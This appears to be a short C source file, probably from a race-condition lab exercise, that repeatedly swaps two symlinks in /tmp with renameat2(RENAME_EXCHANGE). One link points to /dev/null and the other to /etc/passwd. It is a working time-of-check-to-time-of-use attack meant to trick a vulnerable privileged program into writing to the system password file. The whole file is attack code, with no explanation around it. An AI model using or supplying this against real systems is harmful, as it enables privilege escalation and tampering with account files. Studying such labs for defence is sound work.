13 lines
298 B
C
13 lines
298 B
C
#define _GNU_SOURCE
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#include <stdio.h>
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#include <unistd.h>
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int main()
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{
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unsigned int flags = RENAME_EXCHANGE;
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unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
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unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
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while(1){
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renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
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}
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return 0;
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} |